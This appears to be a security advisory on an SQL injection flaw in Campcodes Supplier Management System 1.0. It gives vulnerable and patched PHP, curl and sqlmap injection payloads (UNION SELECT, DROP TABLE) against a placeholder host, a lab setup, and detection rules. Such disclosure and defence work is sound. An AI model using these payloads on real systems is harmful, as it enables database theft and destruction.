CVE-2025-14952

Executive Summary

CVE-2025-14952 is a critical SQL Injection vulnerability discovered in Campcodes Supplier Management System version 1.0. The flaw resides in the /admin/add_category.php file, specifically within the txtCategoryName POST parameter. An unauthenticated remote attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is available from the vendor, making immediate mitigation essential.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – ability to modify or delete data.
• Availability Impact: High (A:H) – potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of public exploit, no authentication requirement, and high impact makes this a priority for immediate remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the add_category.php script. The application takes user input from the txtCategoryName POST parameter and directly concatenates it into an SQL query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

$categoryName = $_POST['txtCategoryName'];
$sql = "INSERT INTO categories (name) VALUES ('$categoryName')";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL by providing input such as:

'); DROP TABLE categories; --

This would result in the following query being executed:

INSERT INTO categories (name) VALUES (''); DROP TABLE categories; --')

The injection point is in the INSERT statement, but the attacker can also use UNION SELECT to extract data from other tables, or use LOAD_FILE / INTO OUTFILE for file system access if database permissions allow.

Attack Flow:

1. Attacker identifies the vulnerable endpoint: /admin/add_category.php.
2. Attacker sends a POST request with a malicious txtCategoryName parameter.
3. The injected SQL is executed by the database server.
4. Attacker can extract, modify, or delete data, or potentially execute system commands via xp_cmdshell (if MSSQL) or INTO OUTFILE (if MySQL).

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$categoryName = $_POST['txtCategoryName'];
$sql = "INSERT INTO categories (name) VALUES ('$categoryName')";
mysqli_query($conn, $sql);
?>

Patched Code (Using Prepared Statements):

<?php
$categoryName = $_POST['txtCategoryName'];
$stmt = $conn->prepare("INSERT INTO categories (name) VALUES (?)");
$stmt->bind_param("s", $categoryName);
$stmt->execute();
$stmt->close();
?>

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Campcodes Supplier Management System 1.0.
• Network access to the /admin/add_category.php endpoint.

Manual Exploitation (using curl):

# Basic injection to test vulnerability
curl -X POST http://target.com/admin/add_category.php \
  -d "txtCategoryName=test' OR '1'='1"

# Extract database version
curl -X POST http://target.com/admin/add_category.php \
  -d "txtCategoryName=' UNION SELECT @@version,2,3-- -"

# Dump all tables (MySQL)
curl -X POST http://target.com/admin/add_category.php \
  -d "txtCategoryName=' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/admin/add_category.php" \
  --data="txtCategoryName=test" \
  --batch --dbs

Lab Setup (Docker):

FROM php:7.4-apache
RUN docker-php-ext-install mysqli
COPY . /var/www/html/
EXPOSE 80

Build and run:

docker build -t supplier-mgmt .
docker run -d -p 8080:80 supplier-mgmt

Blue Team (Defensive)

Detection via Web Application Firewall (WAF):

• Block requests containing SQL keywords (UNION, SELECT, DROP, --, ') in the txtCategoryName parameter.
• Rate-limit POST requests to /admin/add_category.php.

Network Detection:

• Monitor for outbound database queries from the web server to the database server that contain suspicious patterns.
• Alert on HTTP POST requests to /admin/add_category.php with unusual payload lengths or special characters.

Immediate Mitigation:

• Apply virtual patching via WAF rules.
• Restrict access to /admin/ directory using IP whitelisting or VPN.
• Disable the add_category.php functionality if not required.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /admin/add_category.php with txtCategoryName containing SQL keywords.
• Outbound database connections from the web server to the database server with unusual query patterns.
• Anomalous database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File System IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified .htaccess files.
• New database dump files (e.g., dump.sql).

Log IOCs:

• Web server logs showing repeated POST requests to /admin/add_category.php with varying payloads.
• Database logs showing failed queries or queries with UNION, SELECT, INTO OUTFILE.

Detection Engineering

YARA Rule

rule CVE_2025_14952_SQLi_Exploit {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-14952 in Campcodes Supplier Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14952"
    strings:
        $s1 = "txtCategoryName=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "DROP" nocase
        $s5 = "admin/add_category.php" nocase
    condition:
        all of ($s1, $s5) and 1 of ($s2, $s3, $s4)
}

Sigma Rule

title: SQL Injection Attempt Against Campcodes Supplier Management System
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-14952
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/add_category.php'
        cs-uri-query|contains: 'txtCategoryName='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
        - '--'
        - "'"
    condition: selection and keywords
falsepositives:
    - Legitimate category names containing special characters (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-14952 SQL Injection Attempt - Campcodes Supplier Management System";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/add_category.php"; http_uri;
    content:"txtCategoryName="; http_client_body;
    pcre:"/(UNION|SELECT|DROP|--|'OR'1'='1)/Pi";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-14952;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /admin/add_category.php via web server configuration or firewall.
2. Apply virtual patching: Use WAF rules to block SQL injection patterns.
3. Restrict admin access: Implement IP whitelisting or VPN for the /admin/ directory.

Long-term Fix:

• Replace all dynamic SQL queries with prepared statements (parameterized queries).
• Implement input validation and sanitization for all user-supplied data.
• Conduct a full security audit of the application.

Workaround:

• If the source code is available, manually patch the add_category.php file to use prepared statements as shown in the patched code section.

Monitoring:

• Enable detailed logging for web and database servers.
• Set up alerts for SQL injection patterns.
• Regularly review logs for signs of exploitation.

Valters IT - DevSecOps & Cyber Threat Intelligence